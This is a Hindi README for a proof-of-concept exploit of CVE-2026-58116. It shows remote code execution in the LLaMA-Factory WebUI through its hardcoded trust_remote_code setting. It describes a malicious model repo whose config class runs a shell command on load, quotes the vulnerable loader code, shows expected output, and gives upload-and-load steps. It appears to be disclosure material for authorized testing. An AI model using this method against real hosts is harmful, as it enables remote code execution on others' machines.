
CVE-2026-58116 के लिए प्रमाण-अवधारणा एक्सप्लॉयट जो LLaMA-Factory WebUI में trust_remote_code मॉडल पथ इंजेक्शन के माध्यम से रिमोट कोड निष्पादन का प्रदर्शन करता है। इसमें अधिकृत सुरक्षा परीक्षण के लिए पेलोड मॉडल और सत्यापन स्क्रिप्ट शामिल है।
trust_remote_code के माध्यम सेCVE-2026-58116 (CVSS 9.8 क्रिटिकल) के लिए प्रूफ ऑफ कॉन्सेप्ट: LLaMA-Factory <= v0.9.5 में रिमोट कोड एक्ज़ीक्यूशन।
LLaMA-Factory WebUI मॉडल लोड करते समय trust_remote_code=True को हार्डकोड करता है (src/llamafactory/webui/chatter.py:139 और runner.py:175,320)। हमलावर-नियंत्रित "Model path" फ़ील्ड बिना मान्यता के AutoTokenizer.from_pretrained() / AutoModel.from_pretrained() में प्रवाहित होता है, इसलिए Hugging Face transformers लाइब्रेरी एक दुर्भावनापूर्ण मॉडल रिपॉजिटरी से मनमाना Python डाउनलोड और निष्पादित करती है।
यह PoC केवल अधिकृत सुरक्षा परीक्षण और शिक्षा के लिए है। शामिल पेलोड जानबूझकर हानिरहित है (यह id के माध्यम से होस्ट पुनर्निर्धारण प्रिंट करता है)। इसे केवल उन प्रणालियों पर चलाएँ जिनके आप मालिक हैं या परीक्षण करने के लिए अधिकृत हैं। स्पष्ट अनुमति के बिना बुनियादी ढाँचे पर दुर्भावनापूर्ण पेलोड कभी तैनात न करें।
.
├── poc-model/
│ ├── config.json # auto_map → हमलावर मॉड्यूल घोषित करता है
│ ├── configuration_poc.py # पेलोड: कॉन्फ़िग लोड होने पर os.system("id ...") चलाता है
│ ├── modeling_poc.py # न्यूनतम स्टब मॉडल क्लास
│ └── __init__.py # इसे आयात करने योग्य पैकेज बनाता है
└── build_and_verify.py # सिंक को अलगाव में असेंबल और सत्यापित करें
transformers किसी भी वज़न को लोड करने से पहले कॉन्फ़िग क्लास को इंस्टैंशिएट करता है, इसलिए PoCConfig.__init__ में पेलोड कॉन्फ़िग पढ़ते ही फायर हो जाता है — किसी वज़न की आवश्यकता नहीं है। यह बिल्कुल वही पथ है जिस तक LLaMA-Factory src/llamafactory/model/loader.py के माध्यम से पहुँचता है:
def _get_init_kwargs(model_args):
return {"trust_remote_code": model_args.trust_remote_code, ...} # True (हार्डकोडेड)
def load_tokenizer(model_args):
init_kwargs = _get_init_kwargs(model_args)
tokenizer = AutoTokenizer.from_pretrained(model_args.model_name_or_path, **init_kwargs)
सिंक को स्थानीय रूप से सत्यापित करें (कोई WebUI आवश्यक नहीं — यह साबित करता है कि WebUI किस अनुबंध का उल्लंघन करता है):
pip install transformers torch
python3 build_and_verify.py
अपेक्षित आउटपुट — ध्यान दें कि पेलोड बैनर कॉन्फ़िग लोड के दौरान दिखाई देता है:
[+] PoC model assembled at .../poc-model
[*] Loading config with trust_remote_code=True (this triggers the PoC)...
============================================================
[CVE-2026-58116 PoC] trust_remote_code payload executed!
time : 2026-07-02T...
host : gpu-host-01
user : hbuser
------------------------------------------------------------
uid=1000(hbuser) gid=1000(hbuser) groups=1000(hbuser)
============================================================
[+] Config loaded: PoCConfig (model_type=poc_model)
चल रहे LLaMA-Factory WebUI के माध्यम से एंड-टू-एंड:
huggingface-cli login
python3 build_and_verify.py --upload your-user/llmfcty-poc
llamafactory-cli webuiyour-user/llmfcty-poc पर सेट करें, Load Model पर क्लिक करें।